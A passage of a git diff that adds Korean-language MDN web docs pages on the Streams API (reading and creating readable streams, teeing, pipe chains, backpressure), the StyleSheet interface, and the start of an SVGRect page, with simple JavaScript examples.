+.catch(err =&gt; console.error(err));</pre>
+
+<p>어떻게 <code>read()</code> 가 사용되었는지 자세히 들여다 봅시다. 위 예제의 <code>pump()</code> 함수는 제일먼저 <code>read()</code> 를 실행하였습니다. 그리고 이 <code>read()</code> 는 스트림으로부터 읽어 들인 내용의 결과를 <code>{ done, value }</code> 의 형식으로 가지고 있는 pomise를 반환합니다. </p>
+
+<pre class="brush: js">return reader.read().then(({ done, value }) =&gt; {</pre>
+
+<p>스트림으로부터 읽어 들인 내용은 아래 3가지 타입이 있습니다. </p>
+
+<ul>
+ <li>chunk를 아직 읽을수 있는 경우에 프로미스는 <code>{ value: theChunk, done: false }</code> 객체와 함께 fulfill 됩니다. </li>
+ <li>스트림이 닫힌 경우에 프로미스는 <code>value: undefined, done: true }</code> 객체와 함께 fulfill 됩니다.</li>
+ <li>스트림에서 애러가 발생한 경우 promise는 관련 애러와 함께 reject 됩니다. </li>
+</ul>
+
+<p>다음으로 우리는 <code>done</code> 이 <code>true</code> 인지 아닌지 확인해 봐야 합니다.</p>
+
+<p>만약 <code>done</code> 이 <code>true</code> 라면 더이상 읽어들일 chunk가 없다는 뜻입니다. 따라서 우리는 함수 밖으로 빠져 나가야 하고 {{domxref("ReadableStreamDefaultController.close()")}} 를 통하여 커스텀 스트림을 닫아야 합니다. </p>
+
+<pre class="brush: js">if (done) {
+  controller.close();
+  return;
+}</pre>
+
+<div class="note">
+<p><strong>Note</strong>: 여기서 사용한 <code>close()</code> 는 새로만든 커스텀 스트림의 일부이며 오리지널 스트림의 것이 아닙니다. 커스텀 스트림에 대해서는 다음섹션에서 더 자세히 살펴 볼 예정입니다. </p>
+</div>
+
+<p>만약 <code>done</code> 이 <code>true</code> 가 아니라면, 우선 읽어 드린 Chunk를 처리하고 (<code>value</code> 속성), <code>pump()</code> 함수를 재귀적으로 다시 호출 함으로서 다음 chunk를 읽어 드립니다. </p>
+
+<pre class="brush: js">// 다음 data chunk를 새로운 readable 스트림에 집어 넣음
+controller.enqueue(value);
+return pump();</pre>
+
+<p>다음은 스트림 리더기를 사용할때의 기본적인 패턴 입니다.</p>
+
+<ol>
+ <li>스트림을 읽음으로서 실행되는 함수를 작성합니다.</li>
+ <li>만약 읽을수 있는 스트림이 더이상 없다면, 함수를 리턴 시킵니다.</li>
+ <li>만약 읽을수 있는 스트림이 아직 남아 있다면, 우선 읽어 드린 chunk를 처리하고, 다음 chunk를 읽어 드리기 위해 함수를 다시 실행합니다. </li>
+ <li>더이상 읽을수 있는 스트림이 없을때까지 함수를 재귀적으로 실행하고, 최종적으로 읽을수 있는 스트림이 없을경우 2번 Step을 따릅니다. </li>
+</ol>
+
+<h2 id="Creating_your_own_custom_readable_stream">Creating your own custom readable stream</h2>
+
+<p>두번째 파트에서 사용했던 Simple stream pump example 예제에서 우리는 fetch body로 부터 읽어드린 이미지에 대한 data를 우리가 자체적으로 만든 커스텀 readable 스트림에 다시 옮겨 심었습니다. 그럼 어떻게 스트림을자체적으로 만들수 있을까요? 우리는 <code>ReadableStream()</code>생성자 함수를 통해 커스텀 readable 스트림을 만들 수 있습니다. </p>
+
+<h3 id="The_ReadableStream_constructor">The ReadableStream() constructor</h3>
+
+<p>Fetch와 같이 브라우저에서 스트림을 제공할때 그것을 읽어 들이는 일은 쉬운 일입니다. 그러나 때때로 새로운 커스텀 스트림을 만들고 이것을 data chunk들로 채워넣어야 하는 경우가 있습니다. {{domxref("ReadableStream.ReadableStream","ReadableStream()")}}을 아래의 구문과 같이 사용함으로서 이것을 가능하게 할수 있습니다. 구문이 처음에는 다소 복잡해 보일수 있습니다만, 실제로는 그렇게 복잡하지 않습니다. </p>
+
+<p>기본적인 핵심 구문은 다음과 같습니다.</p>
+
+<pre class="brush: js">const stream = new ReadableStream({
+  start(controller) {
+
+  },
+  pull(controller) {
+
+  },
+  cancel() {
+
+  },
+  type,
+  autoAllocateChunkSize
+}, {
+  highWaterMark,
+  size()
+});</pre>
+
+<p>생성자 함수는 두개의 객체를 인자로 받습니다. 첫번째 인자는 필수 값이며, 이것은 우리가 읽어 들일 기본 소스의 모델을 JavasScrip 적으로 생성 합니다.  두번째 인자는 옵션 값이며, 이것은 커스텀 스트림에 사용할 커스텀 queuing 전략을 수립하게 합니다. 두번째 인자의 경우 매우 드물게 설정하는 값이므로 지금은 첫번째 인자에 집중하도록 하겠습니다.</p>
+
+<p>첫번째 인자인 객체는 5개의 맴버를 가질수 있으며, 제일 첫번째 맴버만 필수 입니다.</p>
+
+<ol>
+ <li><code>start(controller)</code> — <code>ReadableStream</code> 이 생성되자 마자 딱 한번만 호출 되는 메서드 입니다. 이 메서드에는 스트림을 기능을 설정할 수 있는 코드가 포함되어야 합니다. 예를 들면 데이터 생성을 시작한다거나 아니면 소스에 접근하여 데이터를 가져오는 코드등이 들어가게 될것입니다.</li>
+ <li><code>pull(controller)</code> — 이 메서드는 스트림 내부의 queue가 가득 찰때까지 반복적으로 호출 됩니다. 더 많은 청크가 큐에 들어갈 때 스트림을 제어하는 ​​데 사용할 수 있습니다.</li>
+ <li><code>cancel()</code> — 이 메서드는 스트림이 캔슬될때 호출 됩니다 (예를 들어 {domxref("ReadableStream.cancel()")}} 이 호출 되었을때). 메서드의 내용은 스트림 소스에 대한 액세스를 해제하는 데 필요한 모든 것을 수행해야합니다.</li>
+ <li><code>type</code> and <code>autoAllocateChunkSize</code> —  스트림이 바이트 스트림임을 나타 내기 위해 사용됩니다. 바이트 스트림은 목적과 사용 사례가 일반 (기본) 스트림과 약간 다르므로 향후 자습서에서 별도로 다룰 것입니다. 또한 아직 어느 곳에서도 구현되지 않았습니다.</li>
+</ol>
+
+<p>simple example code 를 다시한번 살펴보면, <code>ReadableStream()</code> 생성자가 <code>start()</code> 메서드 단 하나만 가지고 있다는 것을 알아챌수 있을 것 입니다. 이 <code>start()</code> 메서드 fetch된 스트림으로 부터 데이터를 읽어 들이고 있습니다.</p>
+
+<pre class="brush: js">  return new ReadableStream({
+    start(controller) {
+      return pump();
+      function pump() {
+        return reader.read().then(({ done, value }) =&gt; {
+          // 더이상 읽을수 있는 data가 없다면 스트림을 닫는다
+          if (done) {
+            controller.close();
+            return;
+          }
+          // 데이터 조각을 새로운 스트림(새로 만드는 커스텀 스트림)에 넣는다.
+          controller.enqueue(value);
+          return pump();
+        });
+      }
+    }
+  })
+})
+</pre>
+
+<h3 id="ReadableStream_controllers">ReadableStream controllers</h3>
+
+<p>ReadableStrem() 생성자에 인자로 전달된 객체안의 <code>start()</code> 와 <code>pull()</code> 메서드에 controller라는 인자가 전달되는 것을 볼수 있습니다. 이것은 {{domxref("ReadableStreamDefaultController")}} 클래스의 인스턴스이며 우리의 스트림을 제어하는데 사용 됩니다.</p>
+
+<p>우리의 예제에서, 우리는 fetch된 body로부터 chunk의 값을 읽은 뒤 그 값을 커스텀 스트림에 집어 넣기 위해 Controller의 {{domxref("ReadableStreamDefaultController.enqueue","enqueue()")}} 메서드를 상용하고 있습니다.</p>
+
+<p>또한, fetch된 body를 읽어 들이는 것이 끝나면 컨트롤러의 {{domxref("ReadableStreamDefaultController.close","close()")}}를 사용하여 커스텀 스트림을 닫습니다. 이때 이미 삽입된 chunk들은 여전히 읽을수 있지만 새로운 chunk는 집어 넣을수 없습니다. 그리고 읽는 것이 모두 긑나면 스트림은 닫힙니다. </p>
+
+<h3 id="Reading_from_custom_streams">Reading from custom streams</h3>
+
+<p>우리의 Simple stream pump example 에서, 우리는 {domxref("Response.Response", "Response")}} 생성자 함수에 우리가 만든 커스텀 readable 스트림을 인자로 전달하였으며 그렇게 생성된 response 인스턴스를 <code>blob()</code> 으로 사용 하였습니다.</p>
+
+<pre class="brush: js">.then(stream =&gt; new Response(stream))
+.then(response =&gt; response.blob())
+.then(blob =&gt; URL.createObjectURL(blob))
+.then(url =&gt; console.log(image.src = url))
+.catch(err =&gt; console.error(err));</pre>
+
+<p>그러나 커스텀 스트림은 여전히 <code>ReadableStream</code> 인스턴스입니다. 즉, 우리는 여전히 리더기를 커스텀 스트림에 붙일수 있다는 뜻입니다. 예를 들어 <a href="https://github.com/mdn/dom-examples/blob/master/streams/simple-random-stream/index.html">Simple random stream demo</a> (<a href="https://mdn.github.io/dom-examples/streams/simple-random-stream/">see it live also</a>) 를 살펴 보십시요. 이 예제에서는 커스텀 스트림을 생성한후, 랜덤 문자열을 생성된 커스텀 스트림에 집어 넣습니다. 그 후 문자열 생성 중지 버튼을 눌렀을때 커스텀 스트림에 집어 넣었던 랜덤 문자열을 커스텀 스트림으로 부터 다시 읽어 옵니다.</p>
+
+<p><strong>Note:</strong> {{domxref("FetchEvent.respondWith()")}} 메서드를 사용하여 스트림을 다루기 위해서는 스트림에 삽입된 내용이 만드시 {{jsxref("Uint8Array")}} 이어야 합니다. ({{domxref("TextEncoder")}} 등을 사용)</p>
+
+<p> <a href="https://github.com/mdn/dom-examples/blob/master/streams/simple-random-stream/index.html">Simple random stream demo</a> (<a href="https://mdn.github.io/dom-examples/streams/simple-random-stream/">see it live also</a>) 에서 커스텀 스트림 생성자 함수는 <code>start()</code> 메서드를 가지고 있으며, 이 메서드는 {{domxref("WindowTimers.setInterval()")}} 을 사용하여 매초마다 새로운 랜덤 문자열을 생성하고 이 문자열을 {{domxref("ReadableStreamDefaultController.enqueue()")}} 를 사용하여 스트림안에 넣습니다. 만약 문자열 생성 중지 버튼을 누른다면 이 interval 이 취소됨과 동시에 <code>readStream()</code> 함수를 호출하여 스트림으로 부터 스트림에 넣은 문자열 전부를 읽어 드립니다. 이때 스트림에 chunk data(여기서는 랜덤 문자열)를 넣는 것도 중단 했기때문에 스트림을 닫습니다. </p>
+
+<pre class="brush: js">const stream = new ReadableStream({
+  start(controller) {
+    interval = setInterval(() =&gt; {
+      let string = randomChars();
+      // Add the string to the stream
+      controller.enqueue(string);
+      // show it on the screen
+      let listItem = document.createElement('li');
+      listItem.textContent = string;
+      list1.appendChild(listItem);
+    }, 1000);
+    button.addEventListener('click', function() {
+      clearInterval(interval);
+      readStream();
+      controller.close();
+    })
+  },
+  pull(controller) {
+    // We don't really need a pull in this example
+  },
+  cancel() {
+    // This is called if the reader cancels,
+    // so we should stop generating strings
+    clearInterval(interval);
+  }
+});</pre>
+
+<p>스트림에 넣은 문자열 전부를 읽고 다루기 위해 만든 커스텀 함수인 <code>readStream()</code> 함수를 살펴보면, 우선 {{domxref("ReadableStream.getReader()")}}를 사용하여 리더기를 스트림에 고정시키는 것을 볼수 있습니다. 그 후 앞서 살펴봤던 패턴과 마찬가지로  <code>read()</code> 를 사용하여 chunk를 읽어 들이고  <code>done</code> 이 <code>true</code> 인지 아닌지 확인 합니다. 만약 <code>true</code> 이면  <code>readStream()</code> 함수의 프로세스를 끝내버리고 그렇지 않으면 읽어드린 chunk를 후속처리한 후  <code>read()</code> 를 재귀적으로 실행합니다.</p>
+
+<pre class="brush: js">function readStream() {
+  const reader = stream.getReader();
+  let charsReceived = 0;
+
+  // read() returns a promise that resolves
+  // when a value has been received
+  reader.read().then(function processText({ done, value }) {
+    // Result objects contain two properties:
+    // done  - true if the stream has already given you all its data.
+    // value - some data. Always undefined when done is true.
+    if (done) {
+      console.log("Stream complete");
+      para.textContent = result;
+      return;
+    }
+
+    charsReceived += value.length;
+    const chunk = value;
+    let listItem = document.createElement('li');
+    listItem.textContent = 'Read ' + charsReceived + ' characters so far. Current chunk = ' + chunk;
+    list2.appendChild(listItem);
+
+    result += chunk;
+
+    // Read some more, and call this function again
+    return reader.read().then(processText);
+  });
+}</pre>
+
+<h3 id="Closing_and_cancelling_streams">Closing and cancelling streams</h3>
+
+<p>우리는 이미 앞서 스트림을 닫는 메서드인 {{domxref("ReadableStreamDefaultController.close()")}} 를 살펴보았습니다. 이미 언급했다 시피, 스트림이 닫혔다 하더라고 이미 들어가 있는 chunk는 읽을 수 있습니다.</p>
+
+<p>만약 스트림을 완벽하게 제거하고 삽입된 모든 chunk를 날리고 싶다면, {{domxref("ReadableStream.cancel()")}} 또는 {{domxref("ReadableStreamDefaultReader.cancel()")}} 메서드를 사용 하면 됩니다.</p>
+
+<h2 id="Teeing_a_stream">Teeing a stream</h2>
+
+<p>때로는 하나의 스트림을 동시 두번 읽어들여야 할 경우가 있습니다. {{domxref("ReadableStream.tee()")}} 메서드가 이를 가능하게 합니다. {{domxref("ReadableStream.tee()")}} 메서드는 두개의 독립적인 카피된 스트림을 가지고 있는 배열을 제공합니다. 이 카피된 두개의 스트림은 두개의 독립적인 리더기로 각각 읽어 들일 수 있습니다.</p>
+
+<p>이런 경우는 아마  <a href="/en-US/docs/Web/API/Service_Worker_API">ServiceWorker</a> 안에서 필요할 것입니다. 만약 서버로부터 fetch된 response를 브라우저에도 전달하고 서비스 워커 캐시에도 전달해야 하다면 하나의 스트림에 대해 두개의 카피본이 필요 할 것입니다. 왜냐하면 response body (Readablestream)는 단 한번만 사용될 수 있고 하나의 Readablestream은 하나의 리더기만 붙을수 있기 때문입니다. </p>
+
+<p>위 내용에 대한 예제를 <a href="https://github.com/mdn/dom-examples/blob/master/streams/simple-tee-example/index.html">Simple tee example</a> (<a href="https://mdn.github.io/dom-examples/streams/simple-tee-example/">see it live also</a>)에서 살펴 볼수 있습니다. 이 예제는 랜덤 문자열 생성 버튼에 대한 이벤트가 없다는 점과, 이 예제에서의 스트림은 teed되어 두개의 스트림이 두개의 리더기로 읽어진다는 점만 제외하면 앞서 살펴본 Simple random stream 예제와 매우 유사하게 동작합니다.</p>
+
+<pre class="brush: js">function teeStream() {
+    const teedOff = stream.tee();
+    readStream(teedOff[0], list2);
+    readStream(teedOff[1], list3);
+  }</pre>
+
+<h2 id="Pipe_chains">Pipe chains</h2>
+
+<p>One very experimental feature of streams is the ability to pipe streams into one another (called a <a href="/en-US/docs/Web/API/Streams_API/Concepts#Pipe_chains">pipe chain</a>). This involves two methods — {{domxref("ReadableStream.pipeThrough()")}}, which pipes a readable stream through a writer/reader pair to transform one data format into another, and {{domxref("ReadableStream.pipeTo()")}}, which pipes a readable stream to a writer acting as an end point for the pipe chain.</p>
+
+<p>This functionality is at a very experimental stage and is subject to change, so we have no explored it too deeply as of yet.</p>
+
+<p>We have created an example called <a href="https://github.com/mdn/dom-examples/tree/master/streams/png-transform-stream">Unpack Chunks of a PNG</a> (<a href="https://mdn.github.io/dom-examples/streams/png-transform-stream/">see it live also</a>) that fetches an image as a stream, then pipes it through to a custom PNG transform stream <span class="pl-c">that retrieves PNG chunks out of a binary data stream.</span></p>
+
+<pre class="brush: js">// Fetch the original image
+fetch('png-logo.png')
+// Retrieve its body as ReadableStream
+.then(response =&gt; response.body)
+// Create a gray-scaled PNG stream out of the original
+.then(rs =&gt; logReadableStream('Fetch Response Stream', rs))
+.then(body =&gt; body.pipeThrough(new PNGTransformStream()))
+.then(rs =&gt; logReadableStream('PNG Chunk Stream', rs))</pre>
+
+<h2 id="Summary">Summary</h2>
+
+<p>That explains the basics of “default” readable streams. We’ll explain bytestreams in a separate future article, once they are available in browsers.</p>
diff --git a/files/ko/web/api/streams_api/컨셉/index.html b/files/ko/web/api/streams_api/컨셉/index.html
new file mode 100644
index 0000000000..9c993b81a3
--- /dev/null
+++ b/files/ko/web/api/streams_api/컨셉/index.html
@@ -0,0 +1,115 @@
+---
+title: Streams API 컨셉
+slug: Web/API/Streams_API/컨셉
+translation_of: Web/API/Streams_API/Concepts
+---
+<div>{{apiref("Streams")}}</div>
+
+<p class="summary">The <a href="/en-US/docs/Web/API/Streams_API">Streams API</a> adds a very useful set of tools to the web platform, providing objects allowing JavaScript to programmatically access streams of data received over the network and process them as desired by the developer. Some of the concepts and terminology associated with streams might be new to you — this article explains all you need to know.</p>
+
+<h2 id="Readable_streams">Readable streams</h2>
+
+<p>A readable stream is a data source represented in JavaScript by a {{domxref("ReadableStream")}} object that flows from an <strong>underlying source</strong> — this is a resource somewhere on the network or elsewhere on your domain that you want to get data from.</p>
+
+<p>There are two types of underlying source:</p>
+
+<ul>
+ <li><strong>Push sources</strong> constantly push data at you when you’ve accessed them, and it is up to you to start, pause, or cancel access to the stream. Examples include video streams and TCP/<a href="/en-US/docs/Web/API/WebSockets_API">Web sockets</a>.</li>
+ <li><strong>Pull sources</strong> require you to explicitly request data from them once connected to. Examples include a file access operation via a <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a> or <a href="/en-US/docs/Web/API/XMLHttpRequest/XMLHttpRequest">XHR</a> call.</li>
+</ul>
+
+<p>컨The data is read sequentially in small pieces called <strong>chunks</strong>. A chunk can be a single byte, or it can be something larger such as a <a href="/en-US/docs/Web/JavaScript/Typed_arrays">typed array</a> of a certain size. A single stream can contain chunks of different sizes and types.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15819/Readable%20streams.png" style="height: 452px; width: 1000px;"></p>
+
+<p>The chunks placed in a stream are said to be <strong>enqueued</strong> — this means they are waiting in a queue ready to be read. An <strong>internal queue</strong> keeps track of the chunks that have not yet been read (see the Internal queues and queueing strategies section below).</p>
+
+<p>The chunks inside the stream are read by a <strong>reader</strong> — this processes the data one chunk at a time, allowing you to do whatever kind of operation you want to do on it. The reader plus the other processing code that goes along with it is called a <strong>consumer</strong>.</p>
+
+<p>There is also a construct you’ll use called a <strong>controller</strong> — each reader has an associated controller that allows you to control the stream (for example, to cancel it if wished).</p>
+
+<p>Only one reader can read a stream at a time; when a reader is created and starts reading a stream (an <strong>active reader</strong>), we say it is <strong>locked</strong> to it. If you want another reader to start reading your stream, you typically need to cancel the first reader before you do anything else (although you can <strong>tee</strong> streams, see the Teeing section below)</p>
+
+<p>Note that there are two different types of readable stream. As well as the conventional readable stream there is a type called a byte stream — this is an extended version of a conventional stream for reading underlying byte sources (otherwise known as BYOB, or “bring your own buffer”) sources. These allow streams to be read straight into a buffer supplied by the developer, minimizing the copying required. Which underlying stream (and by extension, reader and controller) your code will use depends on how the stream was created in the first place (see the {{domxref("ReadableStream.ReadableStream()")}} constructor page).</p>
+
+<div class="warning">
+<p><strong>Important</strong>: Byte streams are not implemented anywhere as yet, and questions have been raised as to whether the spec details are in a finished enough state for them to be implemented. This may change over time.</p>
+</div>
+
+<p>You can make use of ready-made readable streams via mechanisms like a {{domxref("Response.body")}} from a fetch request, or roll your own streams using the {{domxref("ReadableStream.ReadableStream()")}} constructor.</p>
+
+<h2 id="Teeing">Teeing</h2>
+
+<p>Even though only a single reader can read a stream at once, it is possible to split a stream into two identical copies, which can then be read by two separate readers. This is called <strong>teeing</strong>.</p>
+
+<p>In JavaScript, this is achieved via the {{domxref("ReadableStream.tee()")}} method — it outputs an array containing two identical copies of the original readable stream, which can then be read independently by two separate readers.</p>
+
+<p>You might do this for example in a <a href="/en-US/docs/Web/API/Service_Worker_API">ServiceWorker</a> if you want to fetch a response from the server and stream it to the browser, but also stream it to the ServiceWorker cache. Since a response body cannot be consumed more than once, and a stream can't be read by more than one reader at once, you’d need two copies to do this.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15820/tee.png" style="height: 527px; width: 1000px;"></p>
+
+<h2 id="Writable_streams">Writable streams</h2>
+
+<p>A <strong>writable stream</strong> is a destination into which you can write data, represented in JavaScript by a {{domxref("WritableStream")}} object. This serves as an abstraction over the top of an <strong>underlying sink</strong> — a lower-level I/O sink into which raw data is written.</p>
+
+<p>The data is written to the stream via a <strong>writer</strong>, one chunk at a time. A chunk can take a multitude of forms, just like the chunks in a reader. You can use whatever code you like to produce the chunks ready for writing; the writer plus the associated code is called a <strong>producer</strong>.</p>
+
+<p>When a writer is created and starts writing to a stream (an <strong>active writer</strong>), it is said to be <strong>locked</strong> to it. Only one writer can write to a writable stream at one time. If you want another writer to start writing to your stream, you typically need to abort it before you then attach another writer to it.</p>
+
+<p>An <strong>internal queue</strong> keeps track of the chunks that have been written to the stream but not yet been processed by the underlying sink.</p>
+
+<p>There is also a construct you’ll use called a controller — each writer has an associated controller that allows you to control the stream (for example, to abort it if wished).</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15821/writable%20streams.png" style="height: 452px; width: 1000px;"></p>
+
+<p>You can make use of writable streams using the {{domxref("WritableStream.WritableStream()")}} constructor. These currently have very limited availability in browsers.</p>
+
+<h2 id="Pipe_chains">Pipe chains</h2>
+
+<p>The Streams API makes it possible to pipe streams into one another (or at least it will do when browsers implement the relevant functionality) using a structure called a <strong>pipe chain</strong>. There are two methods available in the spec to facilitate this:</p>
+
+<ul>
+ <li>{{domxref("ReadableStream.pipeThrough()")}} — pipes the stream through a <strong>transform stream</strong>, which is a pair comprised of a writable stream that has data written to it, and a readable stream that then has the data read out of it — this acts as a kind of treadmill that constantly takes data in and transforms it to a new state. Effectively the same stream is written to, and then the same values are read. A simple example is a text decoder, where raw bytes are written, and then strings are read. You can find more useful ideas and examples in the spec — see <a href="https://streams.spec.whatwg.org/#ts-model">Transform streams</a> for ideas, and <a href="https://streams.spec.whatwg.org/#example-both">this web sockets example</a>.</li>
+ <li>{{domxref("ReadableStream.pipeTo()")}} — pipes to a writable stream that acts as the end point of the pipe chain.</li>
+</ul>
+
+<p>The start of the pipe chain is called the <strong>original source</strong>, and the end is called the <strong>ultimate sink</strong>.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15818/PipeChain.png" style="height: 382px; width: 1000px;"></p>
+
+<div class="note">
+<p><strong>Note</strong>: This functionality isn't fully thought through yet, or available in many browsers. At some point the spec writers hope to add something like a <code>TransformStream</code> class to make creating transform streams easier.</p>
+</div>
+
+<h2 id="Backpressure">Backpressure</h2>
+
+<p>An important concept in streams is <strong>backpressure</strong> — this is the process by which a single stream or a pipe chain regulates the speed of reading/writing. When a stream later in the chain is still busy and isn't yet ready to accept more chunks, it sends a signal backwards through the chain to tell earlier transform streams (or the original source) to slow down delivery as appropriate so that you don't end up with a bottleneck anywhere.</p>
+
+<p>To use backpressure in a ReadableStream, we can ask the controller for the chunk size  desired by the consumer by querying the {{domxref("ReadableStreamDefaultController.desiredSize")}} attribute on the controller. If it is too low, our ReadableStream can tell its underlying source to stop sending data, and we backpressure along the stream chain.</p>
+
+<p>If later on the consumer again wants to receive data, we can use the pull method in the stream creation to tell our underlying source to feed our stream with data.</p>
+
+<h2 id="Internal_queues_and_queuing_strategies">Internal queues and queuing strategies</h2>
+
+<p>As mentioned earlier, the chunks in a stream that have not yet been processed and finished with are kept track of by an internal queue.</p>
+
+<ul>
+ <li>In the case of readable streams, these are the chunks that have been enqueued but not yet read</li>
+ <li>In the case of writable streams, these are chunks that have been written but not yet processed by the underlying sink.</li>
+</ul>
+
+<p>Internal queues employ a <strong>queuing strategy</strong>, which dictates how to signal backpressure based on the <strong>internal queue state.</strong></p>
+
+<p>In general, the strategy compares the size of the chunks in the queue to a value called the <strong>high water mark</strong>, which is the largest total chunk size that the queue can realistically manage.</p>
+
+<p>The calculation performed is</p>
+
+<pre>high water mark - total size of chunks in queue = desired size</pre>
+
+<p>The <strong>desired size</strong> is the size of chunks the stream can still accept to keep the stream flowing but below the high water mark in size. After the calculation is performed, chunk generation will be slowed down/sped up as appropriate to keep the stream flowing as fast as possible while keeping the desired size above zero. If the value falls to zero (or below in the case of writable streams), it means that chunks are being generated faster than the stream can cope with, which results in problems.</p>
+
+<div class="note">
+<p><strong>Note</strong>: What happens in the case of zero or negative desired size hasn’t really been defined in the spec so far. Patience is a virtue.</p>
+</div>
+
+<p>As an example, let's take a chunk size of 1, and a high water mark of 3. This means that up to 3 chunks can be enqueued before the high water mark is reached and backpressure is applied.</p>
diff --git a/files/ko/web/api/stylesheet/index.html b/files/ko/web/api/stylesheet/index.html
new file mode 100644
index 0000000000..53e9229461
--- /dev/null
+++ b/files/ko/web/api/stylesheet/index.html
@@ -0,0 +1,61 @@
+---
+title: StyleSheet
+slug: Web/API/StyleSheet
+translation_of: Web/API/StyleSheet
+---
+<div>{{APIRef("CSSOM")}}</div>
+
+<p class="summary">An object implementing the <code>StyleSheet</code> interface represents a single style sheet. CSS style sheets will further implement the more specialized {{domxref("CSSStyleSheet")}} interface.</p>
+
+<h2 id="Properties" name="Properties">Properties</h2>
+
+<dl>
+ <dt>{{domxref("StyleSheet.disabled")}}</dt>
+ <dd>Is a {{domxref("Boolean")}} representing whether the current stylesheet has been applied or not.</dd>
+ <dt>{{domxref("StyleSheet.href")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("DOMString")}} representing the location of the stylesheet.</dd>
+ <dt>{{domxref("StyleSheet.media")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("MediaList")}} representing the intended destination medium for style information.</dd>
+ <dt>{{domxref("StyleSheet.ownerNode")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("Node")}} associating this style sheet with the current document.</dd>
+ <dt>{{domxref("StyleSheet.parentStyleSheet")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("StyleSheet")}} including this one, if any; returns <code>null</code> if there aren't any.</dd>
+ <dt>{{domxref("StyleSheet.title")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("DOMString")}} representing the advisory title of the current style sheet.</dd>
+ <dt>{{domxref("StyleSheet.type")}}{{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("DOMString")}} representing the style sheet language for this style sheet.</dd>
+</dl>
+
+<h2 id="Specification" name="Specification">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSSOM', '#stylesheet', 'StyleSheet') }}</td>
+   <td>{{ Spec2('CSSOM') }}</td>
+   <td>No change from {{ SpecName('DOM2 Style') }}.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('DOM2 Style', 'stylesheets.html#StyleSheets-StyleSheet', 'StyleSheet') }}</td>
+   <td>{{ Spec2('DOM2 Style') }}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.StyleSheet")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("CSSStyleSheet")}}</li>
+</ul>
diff --git a/files/ko/web/api/svgrect/index.html b/files/ko/web/api/svgrect/index.html
new file mode 100644
index 0000000000..c006db08c1
--- /dev/null
+++ b/files/ko/web/api/svgrect/index.html
@@ -0,0 +1,90 @@
+---
+title: SVGRect
+slug: Web/API/SVGRect
+translation_of: Web/API/SVGRect
+---
+<div>{{APIRef("SVG")}}</div>
+
+<p id="sect1"><strong><code>SVGRect</code></strong>는 직사각형을 의미합니다. 직사각형은 최소 x값과 최소 y값, 그리고 양수로 제한되는 폭과 높이를 식별하는 x와 y 좌표 쌍으로 구성됩니다.</p>
+
+<p><strong><code>SVGRect</code></strong> 오브젝트는 읽기 전용으로 지정될 수 있습니다. 이 말은 오브젝트를 수정하려는 시도가 있을 때 exception을 발생시킵니다.</p>
+
+<p>{{InheritanceDiagram(600, 140)}}</p>
+
+<h2 id="프로퍼티">프로퍼티</h2>
+
+<p><em>이 인터페이스는 부모로 부터 프로퍼티를 상속받습니다. {{domxref("SVGGeometryElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("SVGRect.x")}} {{ReadOnlyInline}}</dt>
+ <dd>이 좌표의 정확한 효과는 각 element에 따라 다릅니다. 속성을 지정하지 않으면 0 값이 지정된 것처럼 효과가 나타납니다.</dd>
+ <dt>{{domxref("SVGRect.y")}} {{ReadOnlyInline}}</dt>
+ <dd>이 좌표의 정확한 효과는 각 element에 따라 다릅니다. 속성을 지정하지 않으면 0 값이 지정된 것처럼 효과가 나타납니다.</dd>
+ <dt>{{domxref("SVGRect.width")}} {{ReadOnlyInline}}</dt>
+ <dd>이것은 사각형의 너비를 나타냅니다. 음수 값은 에러가 발생합니다. 0 값은 element의 렌더링을 불가능하게 합니다. </dd>
+ <dt>{{SVGAttr("SVGRect.height")}} {{ReadOnlyInline}}</dt>
+ <dd>이것은 사각형의 높이를 나타냅니다. 음수 값은 에러가 발생합니다. 0 값은 element의 렌더링을 불가능하게 합니다. </dd>
+</dl>
+
+<p><strong>Exceptions on setting:</strong> A {{domxref("DOMException")}} with the code <code>NO_MODIFICATION_ALLOWED_ERR</code> 는 읽기 전용 속성을 바꾸려 할 때 발생합니다.</p>
+
+<h2 id="메소드">메소드</h2>
+
+<p><em>이 인터페이스는 부모로 부터 프로퍼티를 상속받습니다. {{domxref("SVGGeometryElement")}}.</em></p>
+
+<h2 id="예">예</h2>
+
+<p>rect 인터페이스의 간단한 사용법입니다. (매 클릭마다 rect 인터페이스의 색을 변경합니다.)</p>
+
+<h3 id="SVG_content">SVG content</h3>
+
+<pre class="brush: html">&lt;svg xmlns="http://www.w3.org/2000/svg" version="1.1"&gt;
+  &lt;rect width="300" height="100" id="myrect" onclick="doRectClick()"
+      style="fill:rgb(0,0,255);stroke-width:1;stroke:rgb(0,0,0)" /&gt;
+  &lt;text x="60" y="40" fill="white" font-size="40"
+      onclick="doRectClick();"&gt;Click Me&lt;/text&gt;
+&lt;/svg&gt;
+</pre>
+
+<h3 id="JavaScript_content">JavaScript content</h3>
+
+<pre class="brush: js">function doRectClick(){
+  var myrect = document.getElementById('myrect');
+  var r = Math.floor(Math.random() * 255);
+  var g = Math.floor(Math.random() * 255);
+  var b = Math.floor(Math.random() * 255);
+  myrect.style.fill = 'rgb(' + r + ', ' + g + ' , ' + b + ')';
+}
+</pre>
+
+<p><em>Click the rect.</em></p>
+
+<p>{{EmbedLiveSample('Example', '', '', '', 'Web/API/SVGRect')}}</p>
+
+<h2 id="상세">상세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
